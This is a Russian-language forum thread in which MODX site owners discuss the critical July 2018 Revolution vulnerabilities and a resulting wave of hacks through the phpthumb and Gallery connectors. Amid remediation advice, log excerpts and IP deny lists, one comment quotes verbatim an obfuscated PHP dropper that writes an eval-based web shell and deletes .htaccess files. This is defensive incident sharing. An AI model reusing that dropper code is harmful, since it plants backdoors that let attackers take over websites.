Revolution 2.6.4 and Prior Two Cricital Vulnerabilities
Не нашел здесь упоминания, тем временем позавчера появилась важная новость о найденных уязвимостях в версии 2.6.4 и необходимости скорейшего обновления
Вольный перевод, оригинал здесь.
Продукт: MODX Revolution
Уровень серьезности: критический
Версии: <= 2.6.4
Тип (ы) уязвимости: Удаленное выполнение / Удаление файлов / каталогов
Дата обнаружения: 11 июля 2018
Дата фиксации: 12 июля 2018
Описание
11 июля мы получили уведомление о наличии двух критических уязвимостей, которые допускают удаленное выполнение скрипта и удаление файлов / каталогов. Эти проблемы носят критический характер. Возможно, злоумышленники могут скомпрометировать веб-сайт или уничтожить или удалить файлы или каталоги.
Затронутые релизы
Все релизы MODX Revolution до 2.6.4 включительно
Что делать
Если вы не знаете, как обновить свой сайт, есть несколько вариантов. Вы можете связаться с разработчиком вашего сайта, обратиться за помощью на Форумы MODX, найти MODX Professional или получить помощь от команды MODX Services.
Благодарность
Мы хотели бы поблагодарить Ивана Климчука (Alroniks) и agel_nash за то, что обратили наше внимание на эти проблемы и проверили их решение.
Дополнительная информация
За дополнительной информацией обращайтесь в службу поддержки MODX.
Вольный перевод, оригинал здесь.
Продукт: MODX Revolution
Уровень серьезности: критический
Версии: <= 2.6.4
Тип (ы) уязвимости: Удаленное выполнение / Удаление файлов / каталогов
Дата обнаружения: 11 июля 2018
Дата фиксации: 12 июля 2018
Описание
11 июля мы получили уведомление о наличии двух критических уязвимостей, которые допускают удаленное выполнение скрипта и удаление файлов / каталогов. Эти проблемы носят критический характер. Возможно, злоумышленники могут скомпрометировать веб-сайт или уничтожить или удалить файлы или каталоги.
Затронутые релизы
Все релизы MODX Revolution до 2.6.4 включительно
Что делать
- Обновите MODX Revolution до 2.6.5. версии
- Используя версию 2.6.4, вы можете заменить измененные файлы, включенные в коммиты: здесь (можно обновить вручную версии до 2.3.0) и здесь (можно обновить версии до 2.5.2). Обратите внимание, что замена файлов в других версиях MODX Revolution может привести к непреднамеренным последствиям. Рекомендуется всегда обновлять.
Если вы не знаете, как обновить свой сайт, есть несколько вариантов. Вы можете связаться с разработчиком вашего сайта, обратиться за помощью на Форумы MODX, найти MODX Professional или получить помощь от команды MODX Services.
Благодарность
Мы хотели бы поблагодарить Ивана Климчука (Alroniks) и agel_nash за то, что обратили наше внимание на эти проблемы и проверили их решение.
Дополнительная информация
За дополнительной информацией обращайтесь в службу поддержки MODX.
Комментарии: 177
Если папка connectors закрыта, то все в порядке, насколько я знаю.
А, не, там еще через Gallery уязвимость.
А, не, там еще через Gallery уязвимость.
В Gallery действительно имеется возможность пробросить запрос в phpthumb. Но насколько я знаю, там необходимо знать абсолютный путь к папке assets (раскрытие путей в помощь), чтобы определить куда загрузился payload.
$inputSanitized = str_replace(array(':', '/'), '_', $path);
$cacheFilename = $inputSanitized;
$cacheFilename .= '.' . md5(serialize($query));
$cacheFilename .= '.' . $query['f'];
$cacheKey = '/assets/components/gallery/cache/' . $cacheFilename;
Здравствуйте. Если обновиться до 2.6.5 в gallery уязвимость останется?
Если да, то есть ли какое-то решение?
Спасибо
Если да, то есть ли какое-то решение?
Спасибо
Не проверял еще. Но сейчас бегло глянул код — уязвимость должна остаться, поскольку Gallery 1.7.0 работает напрямую с классом phpthumb. А правки в MODX затронули только modPhpThumb.
Печально. То в evoGallery modx evo проблемы) Теперь здесь)
Если вы изобретете заплатку — напишите пожалуйста здесь. Спасибо
Если вы изобретете заплатку — напишите пожалуйста здесь. Спасибо
Евгений, а если в файле core/components/gallery/processors/mgr/item/upload.class.php в функции process() поставить в самом начале return;, то это поможет на то время пока нет обновления?
нет
В компоненте нужно либо работать через modPhpThumb. Либо внедрить аналогичные проверки
<?php
$sanitized = str_replace([':', '/'], '_', $path);
$md5 = md5(serialize($query));
$cacheKey = "/assets/components/gallery/cache/{{$sanitized}.{$md5}.{$query['f']}}";
К чему это? Я в этом топике уже писал как узнать путь по которому создастся файл.
А какие права должны быть? 750 нормально или нужно опускаться?
755 — директории, 644 — файлы.
Спасибо, уже сделал себе. Core, manager и connectors или asstes тоже лучше сделать?
Core, manager и connectors или asstes тоже лучше сделать?Конечно, права надо поставить на все директории.
Пошли ломки сайтов — на своих сайтах смотрел, кто-то использует дыру в Gallery.
Судя по истории Github, этот коннектор в Gallery был создан до класса modPhpThumb в Revolution и поэтому он работает с phpThumb напрямую, пропуская дырки, уже закрытые в ядре.
Человек, написавший оба эти файла, давно с MODX не работает, кто и когда будет обновлять Gallery — непонятно. Вот такой пример использования старых-добрых (и бесплатных!) дополнений.
Человек, написавший оба эти файла, давно с MODX не работает, кто и когда будет обновлять Gallery — непонятно. Вот такой пример использования старых-добрых (и бесплатных!) дополнений.
Васиний, а если в файле core/components/gallery/processors/mgr/item/upload.class.php в функции process() поставить в самом начале return;, то это поможет на то время пока нет обновления?
Это надо у Евгения спрашивать — я не использую Gallery и не знаю, как там что работает.
Вот такое письмо получил ещё 13.07.18 через 2 руки, поэтому отправителя не знаю:
Две критических уязвимости в MODx Revolution.Из-за аврала не успел проверить и написать сюда, тем более ссылка с описанием уязвимости не открывается на странице блога.
Если ваш сайт работает на MODx Revolution, у нас для вас плохие новости. Разработчики обнаружили (и уже исправили) в ней две критических уязвимости: первая позволяет одним запросом стереть сайт, вторая — загрузить произвольный файл (в том числе php-скрипт) и удаленно выполнить код (RCE).
modx.com/blog/modx-revolution-2.6.5
Данным уязвимостям подвержены все версии, включая 2.6.4. Рекомендуем срочно обновить CMS до 2.6.5.
Канал @sitesecurity и @CliSecurityFeed.
Это да, конечно. Я пропустил в запарке — привык важные новости на modx.pro смотреть.
Собственно, почему написал про эту рассылку — пост на главной в сообществе появился только сегодня (или у меня одного?) — был удивлён. Хотя сейчас вижу, что дата стоит своевременная — 14.07.
Собственно, почему написал про эту рассылку — пост на главной в сообществе появился только сегодня (или у меня одного?) — был удивлён. Хотя сейчас вижу, что дата стоит своевременная — 14.07.
Советую всем срочно обновлять MODX до последней версии. Пошла волна заражений. Сегодня поступило уже три заявки. Вирус очень жесткий, заражает и php-файлы, и js. Сразу все до кучи (редиректы, рассылки писем и т.п.). При чем JS-ы содержимое позаменял полностью, так что если у вас не будет бэкапа сайта, то скорее всего вы еге рискуете потерять безвозвратно.
UPD: в базе данных следов деятельности не было замечено. php заражены не все, поэтому обновление MODX-а должно зачистить php-заразу (но только на уровне системных файлов). В корне сайта и в некоторых вложенных папках появляются зараженные php-файлы (бэкдоры). Но JS перетерты вообще все были.
На мой взгляд самый простой вариант восстановления: восстанавливаться из бэкапа (чтобы полностью файлы был восстановлены и новые удалены), и после этого обновить MODX.
На мой взгляд самый простой вариант восстановления: восстанавливаться из бэкапа (чтобы полностью файлы был восстановлены и новые удалены), и после этого обновить MODX.
Тоже с утра 3 сайта заражены. Хорошо, что Бегет-няшка, сразу предупреждает
А меня флопс не предупредил. Это я по нагрузке на сайт возросшей понял что явно вирус проник. Если бы не прожорливые процессы, я бы не скоро узнал.
А кто-нибудь, кто понимает в чем проблема в GALLERY мог бы залатать это. Дополнение то хорошее, но с уязвимостью оказалось.
У меня зараза прошла явно не через Gallery (там его тупо нет). MODX был 2.5.0, явно в ядре дыра была (публикции были на этот счет в последнее время).
Николай, а вы можете gallery залатать?
Я думаю мы могли бы даже скинуться на это дело)
Я думаю мы могли бы даже скинуться на это дело)
Сорри, совсем нет времени. И сильно сомневаюсь, что в Gallery проблема (во всяком случае по этому вирусу), так как на этом же сервере есть сайт с Gallery, но он не сломан. А тот, что сломан, напомню, Gallery нет. Что интересно, на этом не сломанном сайте MODX-2.5.6, так что или на него просто не попали (что вряд ли), или все-таки в 2.5.6 нет этой уязвимости.
Ядро
До версии 2.5.1 эксплуатация возможна без авторизации через modPhpThumb
С версии 2.5.1 необходима авторизация в любом контексте для эксплуатации через modPhpThumb
Gallery
Возможна эксплуатация на любой версии ядра через phpThumb без аворизации. Фикса пока нет.
До версии 2.5.1 эксплуатация возможна без авторизации через modPhpThumb
С версии 2.5.1 необходима авторизация в любом контексте для эксплуатации через modPhpThumb
Gallery
Возможна эксплуатация на любой версии ядра через phpThumb без аворизации. Фикса пока нет.
modPhpThumb входит в ядро MODX-а. Может это все-таки его надо фиксить? Я не говорю, что обязательно бага в нем и нет ее в Gallery, но все же есть вероятность. Есть статья, где описан именно этот эксплойт?
Может для начала стоит ознакомиться CVE-2018-1000207 и CVE-2018-1000208? Ну или хотя бы по ссылкам походить?
Спасибо за подсказки.
Это было давно и не на столько важно, чтобы я два года об этом думал.
Баг в ядре давно пофикшен, Gallery в текущей версии не использует обертку из ядра, а работает с классом phpTрumb напрямую, но фикс уже есть.
modx.com/extras/package/gallery — 1.7.1
modx.com/extras/package/gallery — 1.7.1
Просто сейчас на сервере взломаны все сайты с Gallery. Без нее — пока нет. Обновляю
Марк Хамстра сейчас обещает выложить обнову в репозиторий modx.com
Нужно нажать «Проверить обновления»
В папку assets/components/gallery/cache/ заливают вот такой файлик —
$s=$_SERVER['DOCUMENT_ROOT'].'/assets/';$s1=$s.'images/';$fh=fopen($s1.'accesson.php','w');fwrite($fh,'<?php echo 7457737+736723;$raPo_rZluoE=base64_decode(«Y».chr(109).«F».chr(122).chr(90).«T».chr(89).chr(48).chr(88).«2».«R».«l».«Y».chr(50).«9».chr(107).«Z».chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89).«2».chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87).«Q».chr(61))]));if($_POST[base64_decode(«d».chr(88).chr(65)."=")] == base64_decode(«d».«X».chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90).«m».«l».«s».chr(90).«Q»."=".chr(61))][base64_decode(chr(100).chr(71).chr(49).«w».«X».chr(50).«5».chr(104).«b».chr(87).«U».chr(61))],$_FILES[base64_decode(«Z».chr(109).«l».«s».chr(90).«Q».chr(61).chr(61))][base64_decode(chr(98).«m».«F».chr(116).«Z».chr(81).chr(61)."=")]);}; ?>');fclose($fh);if(function_exists('unlink')){unlink($s.'.htaccess');unlink($s1.'.htaccess');};
$s=$_SERVER['DOCUMENT_ROOT'].'/assets/';$s1=$s.'images/';$fh=fopen($s1.'accesson.php','w');fwrite($fh,'<?php echo 7457737+736723;$raPo_rZluoE=base64_decode(«Y».chr(109).«F».chr(122).chr(90).«T».chr(89).chr(48).chr(88).«2».«R».«l».«Y».chr(50).«9».chr(107).«Z».chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89).«2».chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87).«Q».chr(61))]));if($_POST[base64_decode(«d».chr(88).chr(65)."=")] == base64_decode(«d».«X».chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90).«m».«l».«s».chr(90).«Q»."=".chr(61))][base64_decode(chr(100).chr(71).chr(49).«w».«X».chr(50).«5».chr(104).«b».chr(87).«U».chr(61))],$_FILES[base64_decode(«Z».chr(109).«l».«s».chr(90).«Q».chr(61).chr(61))][base64_decode(chr(98).«m».«F».chr(116).«Z».chr(81).chr(61)."=")]);}; ?>');fclose($fh);if(function_exists('unlink')){unlink($s.'.htaccess');unlink($s1.'.htaccess');};
Проверил 11 сайтов сегодня, следов взлома нет. На 5 сайтах стоит Gallery. Вот что значит переименовывать все стандартные директории и закрывать доступ в ненужные. Вручную, конечно, нашли бы переименованный assets, а бот не смог.
Инструкция есть?)
Спасибо!
Следы сегодняшнего вируса:
1. И во фронте, и в админке, при заходе на страницу фиден овердлей (на всю страницу полупрозрачная ссылка на сайт www. hibids10. com ). Ссылку лучше не кликать, не ясно что там за код, может не только редирект, но и кукисы и данные форм авторизации читает и пересылает.
2. В JS-файлах заменено все содержимое на типа такого:
3. В корне сайта лежал файл install.php, содержащий в себе $drop_name = 'annizod';
Вот у себя я на зараженный сайт и вышел через процесс, именуемый annizod и отжирающий кучу ресурсов. запущен был от имени www-data, что говорит о эксплоитах на сайт, а не о проникновении на сервер через ssh или типа того.
4. Еще на других сайтах были php-файлы с содержимым типа $_REQUEST['sort'] и далее закодированный eval.
1. И во фронте, и в админке, при заходе на страницу фиден овердлей (на всю страницу полупрозрачная ссылка на сайт www. hibids10. com ). Ссылку лучше не кликать, не ясно что там за код, может не только редирект, но и кукисы и данные форм авторизации читает и пересылает.
2. В JS-файлах заменено все содержимое на типа такого:
var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\
........
На моем подопечном таких файлов найдено 4314 штук (то есть все JS-файлы)3. В корне сайта лежал файл install.php, содержащий в себе $drop_name = 'annizod';
Вот у себя я на зараженный сайт и вышел через процесс, именуемый annizod и отжирающий кучу ресурсов. запущен был от имени www-data, что говорит о эксплоитах на сайт, а не о проникновении на сервер через ssh или типа того.
4. Еще на других сайтах были php-файлы с содержимым типа $_REQUEST['sort'] и далее закодированный eval.
Так же взломан сайт
Лечение?
Лечение?
Бэкап и обновление системы)
Надолго ли
AI-Bolit в помощь. На многих хостингах он есть в панели управления.
Да замучился лечить и чистить
тут бы выяснить причину
а она явно хроническая
думал у одного меня такое на сайте, а тут вон сколько отписалось
Посмотрим насколько обновления хватит
И всем наивным переименование папок не помогает. Вообще кто написал эту программу для взлома писал ее под вордпрес, а modx попал под раздачу
тут бы выяснить причину
а она явно хроническая
думал у одного меня такое на сайте, а тут вон сколько отписалось
Посмотрим насколько обновления хватит
И всем наивным переименование папок не помогает. Вообще кто написал эту программу для взлома писал ее под вордпрес, а modx попал под раздачу
Читайте комменты выше. Причины давно описаны и здесь в комментах и два года назад.
Врядли под раздачу, тк. например на сайте что я лечил — запрос сразу непосредственно на системный конектор phpthumb с POST запросом! А следом еще один запрос на файл dbs.php, те скрип проверяет получился ли взлом… тк я успел до ночи обновить сайт и gallery то на 2й файл сервак уже отдал 404-ю т.е. взлом не получился. А потом через 4 часа повторынй запрос к конектору, но тут уже поинтересней чутка. сначала опять на системный конектор а потом на конектор gallery. следом проверили файл assets..images..accesson.php (который должен был появится в результате взлома) получили 404.
Обратил внимание что шлют POST запросы.
Так что «товарищи» которые писали прогу для взлома прекрасно понимали что хотят взломать.
И лечение обновить modx До последней версии + gallery до последней Очень даже актуально и спасло!
Обратил внимание что шлют POST запросы.
Так что «товарищи» которые писали прогу для взлома прекрасно понимали что хотят взломать.
И лечение обновить modx До последней версии + gallery до последней Очень даже актуально и спасло!
Обновились все совсем недавно так что помогло ли выводы делать рано
Я просто удалил файлы и не могу точно написать названия, но были c префиксом wp и htaccess они переписали очень похоже на вордпресовский
Я просто удалил файлы и не могу точно написать названия, но были c префиксом wp и htaccess они переписали очень похоже на вордпресовский
Вы видать первый раз сталкиваетесь со взломом и то что есть wp не означает что оно по wp было заточено.
Опять взломали (
Нужно почистить от всех левых файлов. revisium.com/ai/
Дополню по следам:
в корневой директории файлы dbs.php cache.php.
так же местами присутствует файл в корне annizod.
На одном сайте где стояла древняя 2.3.1 в логах заметил что стучались через коннектор phpthumb
и сразу пошли обращения на левые файлы…
в корневой директории файлы dbs.php cache.php.
так же местами присутствует файл в корне annizod.
На одном сайте где стояла древняя 2.3.1 в логах заметил что стучались через коннектор phpthumb
и сразу пошли обращения на левые файлы…
Плюс ко всему на всех зараженных сайтах пропал доступ к поставщикам. Уведомление:
Произошла ошибка при подключении к поставщику: MODX получил пустой ответ от поставщика. Пожалуйста, проверьте URL-адрес поставщика и убедитесь, что поставщик является корректным поставщиком.Если есть у кого то решение этой проблемы — поделитесь пожалуйста.
Вопрос снят! Хостер заблокировал исходящие соединения.
В менеджере файлов вижу вот такое в корне:
Правильно ли я понимаю, что подчеркнутое красным представляет собой инородные включения?
Содержимое папок Cleogiue, f018dc, jposeirt практически идентичное и включает в себя следующее:
Означает ли, что удаление этих файлов и папок будет достаточным для нормального функционирования сайта или придется все-таки ставить бэкап? Я не являюсь разработчиком, сайт делал сам, теперь пытаюсь разобраться с появившейся проблемой…
Правильно ли я понимаю, что подчеркнутое красным представляет собой инородные включения?
Содержимое папок Cleogiue, f018dc, jposeirt практически идентичное и включает в себя следующее:
Означает ли, что удаление этих файлов и папок будет достаточным для нормального функционирования сайта или придется все-таки ставить бэкап? Я не являюсь разработчиком, сайт делал сам, теперь пытаюсь разобраться с появившейся проблемой…
Бэкап надо разворачивать, в правильных папках тоже есть бэкдоры, скорее всего.
Замечательно. Most secure CMS. У меня минус 6 сайтов
Есть методы лечения?
Есть методы лечения?
Самое простое — https://modx.pro/security/15912#comment-99683.
Я делал у себя так. Брал всю папку с сайтом, полностью удалял всё содержимое, откатывался на бэкап, например, на 16 июля, когда еще ничего не было, потом быстро-быстро обновлялся и вот уже третий день тишина, вроде сработало.
Я делал у себя так. Брал всю папку с сайтом, полностью удалял всё содержимое, откатывался на бэкап, например, на 16 июля, когда еще ничего не было, потом быстро-быстро обновлялся и вот уже третий день тишина, вроде сработало.
На всех сайтах, которые мне пришлось подлечить, зараза проникла 19-20 числа. Более ранних не встречал.
Тоже был взлом. Снес всю папку, вернул все с бекапа и обновился. Вчера все было тихо.
Сегодня взлом уже на последней версии, и файлик accesson.php появился.
Сегодня взлом уже на последней версии, и файлик accesson.php появился.
217.75.78.134 - - [22/Jul/2018:06:06:09 +0500] "GET / HTTP/1.0" 301 359
217.75.78.134 - - [22/Jul/2018:06:06:10 +0500] "GET / HTTP/1.0" 200 8435
217.75.78.134 - - [22/Jul/2018:06:06:12 +0500] "POST /connectors/system/phpthumb.php HTTP/1.0" 200 158
217.75.78.134 - - [22/Jul/2018:06:06:14 +0500] "POST /assets/components/gallery/connector.php HTTP/1.0" 404 -
217.75.78.134 - - [22/Jul/2018:06:06:15 +0500] "GET /assets/images/accesson.php HTTP/1.0" 200 7
217.75.78.134 - - [22/Jul/2018:06:06:16 +0500] "POST /assets/images/accesson.php HTTP/1.0" 200 7
217.75.78.134 - - [22/Jul/2018:06:06:16 +0500] "POST /assets/images/accesson.php HTTP/1.0" 200 7
217.75.78.134 - - [22/Jul/2018:06:06:17 +0500] "POST /assets/images/accesson.php HTTP/1.0" 200 7
217.75.78.134 - - [22/Jul/2018:06:06:17 +0500] "POST /assets/images/accesson.php HTTP/1.0" 200 7
217.75.78.134 - - [22/Jul/2018:06:06:25 +0500] "POST /assets/images/accesson.php HTTP/1.0" 200 7
217.75.78.134 - - [22/Jul/2018:06:06:25 +0500] "POST /assets/images/accesson.php HTTP/1.0" 200 7
217.75.78.134 - - [22/Jul/2018:06:06:26 +0500] "POST /assets/images/accesson.php HTTP/1.0" 200 7
217.75.78.134 - - [22/Jul/2018:06:06:26 +0500] "POST /assets/images/accesson.php HTTP/1.0" 200 7
Судя по всему в /connectors/system/phpthumb.php еще есть какие то дыры. - для Apache modx.pro/howto/8059
- для nginx modx.pro/howto/8241#comment-57776
Вам религия не позволяет переименовывать каталоги и закрывать к ним доступ? Так и будете всю жизнь сайты лечить, раз не защищаете их.
Сегодня второй раз взломали. Уже после обновления на 2.6.5. Gallery не было.
Подскажите, пожалуйста, какие каталоги переименовывать и как закрывать их.
Подскажите, пожалуйста, какие каталоги переименовывать и как закрывать их.
Фарит, вот тут посмотрите ссылки с описанием того, что переименовывать и как: https://modx.pro/help/15964
Поставьте базовую аутентификацию на папки manager, core и connectors. И будет вам счастье без всяких переименований.
Сделаете приложение? :)
Да, Сергей! Вчера поставил на все сайты! Теперь думаю, как жил без этого раньше =)
Кому интересно – вот инструкция:
Кому интересно – вот инструкция:
Сергей, но ведь данное решение не спасет от взлома через галерею?
Не спасет. Спасет обновление компонента до последней версии.
Разговор про систему, т.е. ядро, а не про кривые дополнения.
коннекторы только в админке используются?
Не в phpthumb.php, а в компоненте Gallery. Его тоже надо обновить
Gallery не установлен вообще
Последняя версия какая у вас стояла?
Проверка выявила такие зараженные файлы/вирусы
.cagefs/tmp/phpd.local: /bin/psocksd
.cl.selector/categoryfeed-mod.php 6 121354
Есть образцы незараженных файлов чтобы удалить вирусы?
Хостинг блокнул сайт и не включит до удаления вируса, фтп только работает
.cagefs/tmp/phpd.local: /bin/psocksd
.cl.selector/categoryfeed-mod.php 6 121354
Есть образцы незараженных файлов чтобы удалить вирусы?
Хостинг блокнул сайт и не включит до удаления вируса, фтп только работает
Попробуйте у хостинга взять бэкапы и сравнить файлы оттуда и ваши текущие
Достаточно один сайт взломать
Под одним пользователем заражают все
Под одним пользователем заражают все
Надо сразу на сервере настраивать open_basedir, чтобы зараза не проникала за пределы взломанного сайта. Но если уже распространилось на все сайты, то уже как бы поздно…
Тоже клиентские сайты поломали:
2 — сайта: стоял Gallery
1 — сайт: версия modx 2.5.1-pl (Gallery никогда не ставил)
Причем характер взлома одинаковый как для Gallery так и для modx 2.5.1-pl
Везде nginx с закрытым доступом к core и отдельным пользователем на сайт(чтобы вирус не мог ниже своей папки спуститься).
Все остальные сайты где было обновление хотя бы 2.6.0 затронуты небыли
Основная часть сайтов была обновлена до версии 2.6.4
После проверки что вирусов нету обновился до обновился до версии 2.6.5-pl-advanced
Дак какие версии все таки ломают?
Ах да если у вас под одним пользователем все ваши сайты. И какой то один сайт был обновлен до последней версии и его взломали. То можно не считать эту версию критичной в вашем случае, так как скорей всего сайты с версией ниже были заражены и вирус спустился и прошелся по всем ваши папкам.
2 — сайта: стоял Gallery
1 — сайт: версия modx 2.5.1-pl (Gallery никогда не ставил)
Причем характер взлома одинаковый как для Gallery так и для modx 2.5.1-pl
Везде nginx с закрытым доступом к core и отдельным пользователем на сайт(чтобы вирус не мог ниже своей папки спуститься).
Все остальные сайты где было обновление хотя бы 2.6.0 затронуты небыли
Основная часть сайтов была обновлена до версии 2.6.4
После проверки что вирусов нету обновился до обновился до версии 2.6.5-pl-advanced
Дак какие версии все таки ломают?
Ах да если у вас под одним пользователем все ваши сайты. И какой то один сайт был обновлен до последней версии и его взломали. То можно не считать эту версию критичной в вашем случае, так как скорей всего сайты с версией ниже были заражены и вирус спустился и прошелся по всем ваши папкам.
Везде nginx с закрытым доступом к coreА должны быть закрыты еще connectors и manager. Взлом идёт через коннектор phpthumb.
Не понял, это как к manage и connectors
К core закрывается
http://s14863.h10.modhost.pro/core/components/ace/model/ace/ace.class.php
Но connectors
http://s14863.h10.modhost.pro/connectors/system/phpthumb.php
доступен ведь?
К core закрывается
http://s14863.h10.modhost.pro/core/components/ace/model/ace/ace.class.php
Но connectors
http://s14863.h10.modhost.pro/connectors/system/phpthumb.php
доступен ведь?
Нельзя просто взять и прочитать документацию на хостинге.
Спасибо))
А для совсем тупых, как добиться окошка в первом слайде?
Гуру MODX, а как правильно обновлять старые сайты? Еще с админкой 2.2, 2.3. Я знаю три метода обновления. Через компоненты из репозитория, через пхп-файл Боба Рея, и обновлять каждую версию вручную. Что весьма долго для старых сайтов. А обновить надо более 10 сайтов. Пробовал все три, последний метод самый железный. При чем на хостинге срабатывает не всегда, иногда надо стащить на локальный сервер, обновить и опять залить (
Да и не только старые сайты. Как правильно обновить MODX Revo?
Да и не только старые сайты. Как правильно обновить MODX Revo?
2.2.5 обновился simpleUpdater -ом
Если у хостинга все сайты работают в одном пуле php, то взлом одного из них приведёт к заражению всех, даже тех где нет modx. И обновление не поможет.
Я под свои проекты держал VPS где все сидели в одном пуле php. И это привело к аду. Надо было восстанавливать все сайты и обновлять их разом, что в моём случае было невозможно. Поэтому отключил все сайты, ограничил доступ только со своего IP и так сайт за сайтом восстанавливал и обновлял.
В общем сейчас переосмысливаю базовые принципы безопасности.
Я под свои проекты держал VPS где все сидели в одном пуле php. И это привело к аду. Надо было восстанавливать все сайты и обновлять их разом, что в моём случае было невозможно. Поэтому отключил все сайты, ограничил доступ только со своего IP и так сайт за сайтом восстанавливал и обновлял.
В общем сейчас переосмысливаю базовые принципы безопасности.
Всем привет. Подскажите, к кому обратиться по поводу лечения и обновления двух сайтов?
Что там лечить, откатываешь сайты на неделю назад, ставишь UpgradeMODX, обновляешь до 2.6.5 и готово.
Админа не работает, антивирус блокирует вход. Если отключишь, с админки — редирект.
Зачем тебе админка? С хостинга восстанови сайт.
Сегодня случайно заметил что 1 сайт не работает корректно и фаирфокс ругнулся на вирус в js файле (ротатор на главной). Стал разбираться да все как описано — инъекция, установка файлов.
Обратите внимание что что еще происходит на других сайтах вообще без CMS. Создается папка assets/image и туда кидается php-шелл, если посмотреть можно еще найти где нито вражеские закладки. Антивирусником пока не определяется. Зашел на такую закладку — прям панель управления моим хостингом. Пришлось делать поиск по дате, если бы еще дату создания файла меняли — трындец, не найти закладки
мои хулиганы:
deny from 128.77.34.95
deny from 217.75.78.134
deny from 80.122.49.54
Обратите внимание что что еще происходит на других сайтах вообще без CMS. Создается папка assets/image и туда кидается php-шелл, если посмотреть можно еще найти где нито вражеские закладки. Антивирусником пока не определяется. Зашел на такую закладку — прям панель управления моим хостингом. Пришлось делать поиск по дате, если бы еще дату создания файла меняли — трындец, не найти закладки
мои хулиганы:
deny from 128.77.34.95
deny from 217.75.78.134
deny from 80.122.49.54
добавлю свои 5 копеек
deny from 188.40.141.100
deny from 134.249.116.78
deny from 51.15.146.39
deny from 134.249.50.185
deny from 188.40.141.100
deny from 134.249.116.78
deny from 51.15.146.39
deny from 134.249.50.185
Ломают похоже через ботнет сеть (IP самые разные без TOR).
Схема одинаковая:
Схема одинаковая:
217.75.78.134 - - [19/Jul/2018:09:50:18 +0300] "GET / HTTP/1.0" 200 132228 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0"
217.75.78.134 - - [19/Jul/2018:09:50:18 +0300] "POST /connectors/system/phpthumb.php HTTP/1.0" 200 158 "/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0"
217.75.78.134 - - [19/Jul/2018:09:50:19 +0300] "POST /assets/components/gallery/connector.php HTTP/1.0" 200 940 "/connectors/system/phpthumb.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0"
217.75.78.134 - - [19/Jul/2018:09:50:19 +0300] "GET /assets/images/accesson.php HTTP/1.0" 404 36671 "/assets/components/gallery/connector.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0"
перед попыткой взлома делают так:
[Mon Jul 23 10:41:17 2018] [error] [client 88.214.230.220] client denied by server configuration: /home/clients/(фтп_акк)/domains/(имя домена)/html/core/docs/changelog.txt
Если проперло, то полетели, на обновленной версии сразу свалили.
а еще так:
[Sat Jul 21 20:32:52 2018] [error] [client 193.169.252.184] client denied by server configuration: /home/clients/(фтп)/domains/(мой сладкий домен)/html/wp-login.php, referer: http://(мой домен)/wp-login.php
От моей 2.6.5 сразу отстали, а за пару дней до этого был взлом, восстановил из бэкапа без потерь.
[Mon Jul 23 10:41:17 2018] [error] [client 88.214.230.220] client denied by server configuration: /home/clients/(фтп_акк)/domains/(имя домена)/html/core/docs/changelog.txt
Если проперло, то полетели, на обновленной версии сразу свалили.
а еще так:
[Sat Jul 21 20:32:52 2018] [error] [client 193.169.252.184] client denied by server configuration: /home/clients/(фтп)/domains/(мой сладкий домен)/html/wp-login.php, referer: http://(мой домен)/wp-login.php
От моей 2.6.5 сразу отстали, а за пару дней до этого был взлом, восстановил из бэкапа без потерь.
wp-login.php.
Ну вот не следы это того что они ломают вордпрес а ломается modx
Ну вот не следы это того что они ломают вордпрес а ломается modx
Это следы того, что скриптом перебирают все уязвимости подряд, для разных систем.
Не, на старой версии MODX — файл wp-login.php появился после взлома.
Адище!!! больше 2000 файлов и это только на одном хостинге, хотя я обновился до 2,6,5 сайтов ~35 еще 20.07 все было чистенько, но без обновления галереи(не у всех стояла, но полетело все), а 21 утром все уже умерло.
Я так понимаю они все дерево хостинга через один уязвимый сайт лупят.
Я так понимаю они все дерево хостинга через один уязвимый сайт лупят.
нет, у меня 4 сайта, 1 был поражен вирусом, 3 других не пострадали.
Сделал honeypot для отслеживания вредителей. За сутки уже 3 раза пытались ломануть с разных IP (при посещалке сайта 2500/сутки). POST запросы тоже разные были. Но все на connectors/system/phpthumb.php и /assets/components/gallery/connector.php
Бля. Все сайты полетели! Скажите обновление 2.6.5 Закрывает уязвимость?
Евгений, а вы уже применили обновления? Это must конечно. 2.6.5 + обновление галереи, если есть + закрытие отдельных директорий авторизацией + меняйте пароли. Почитайте выше, все рецепты и отзывы уже дали. Я уже с десяток сайтов обновил по этому принципу, проникновений пока не видел.
Новые логи Error
[Tue Jul 24 11:19:52 2018] [error] [client 134.249.50.185] client denied by server configuration: /home/clients/(ФТП)/domains/(сайт)/html/connectors/system/phpthumb.php
[Tue Jul 24 11:19:52 2018] [error] [client 134.249.50.185] client denied by server configuration:
/home/clients/(ФТП)/domains/(сайт)/html/dbs.php
Логи Access:
134.249.50.185 — - [24/Jul/2018:11:19:52 +0000] «GET/dbs.php HTTP/1.1» 403 491 "-" «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36»
134.249.50.185 — - [24/Jul/2018:11:19:52 +0000] «POST /connectors/system/phpthumb.php HTTP/1.1» 403 514 "-" «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36»
46.118.112.85 — - [24/Jul/2018:11:39:19 +0000] «GET /dbs.php?u HTTP/1.1» 404 8927 "-" «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36»
+
